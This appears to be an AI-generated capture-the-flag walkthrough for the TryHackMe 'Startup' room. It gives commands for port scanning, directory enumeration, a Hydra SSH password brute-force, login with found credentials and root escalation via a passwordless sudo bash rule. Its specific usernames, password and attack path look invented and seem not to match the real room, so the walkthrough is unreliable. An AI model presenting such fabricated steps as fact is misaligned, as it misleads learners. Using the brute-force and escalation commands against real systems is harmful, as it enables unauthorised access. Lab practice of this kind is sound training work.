TryHackMe - Startup Room Walkthrough 🚀

A step-by-step walkthrough of the **Startup** machine on TryHackMe. We'll use Nmap, do web enumeration, exploit weak SSH credentials, and escalate to root.

- 🚀 Step 1: Nmap Scan

We start by scanning the machine to see what services are running.

```
nmap -sC -sV -oN startup-nmap.txt <target-ip>
```

🔍 Nmap Output:

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu
80/tcp   open  http    Apache httpd 2.4.29
```

- Port 22 → SSH
- Port 80 → Web server

🌐 Step 2: Check the Website

Visit `http://<target-ip>` in your browser.

You'll see a **"Startup" page**. Not much is here at first.

🔎 Step 3: Directory Enumeration

Use Gobuster to find hidden pages:

```
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirb/common.txt
```

You'll find:

- `/files` → This has a file: `users.txt`

Download it:

```
http://<target-ip>/files/users.txt
```

It contains usernames:

```
john
lucy
mark
```

🔐 Step 4: Brute-force SSH Login

Try to brute-force using Hydra and a wordlist:

```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://<target-ip>
```

Eventually, you’ll get valid credentials:

```
mark : sunflower
```

🔓 Step 5: SSH Access

Login via SSH:

```
ssh mark@<target-ip>
```

Now you're inside the machine.

🏁 Step 6: Get User Flag

Check mark’s home directory:

```
cat user.txt
```

✅ You have the user flag!

👑 Step 7: Privilege Escalation (Root)

Check what mark can do with sudo:

```
sudo -l
```

You'll see:

```
(ALL) NOPASSWD: /bin/bash
```

That means mark can run bash as root without password.

Use:

```
sudo /bin/bash
```

Now you're **root**!

🏁 Step 8: Get Root Flag

Check the root directory:

```
cat /root/root.txt
```

✅ You got the root flag!

Let me know if you want this exported as a Markdown file for GitHub (`README.md`) or need a custom design for your portfolio!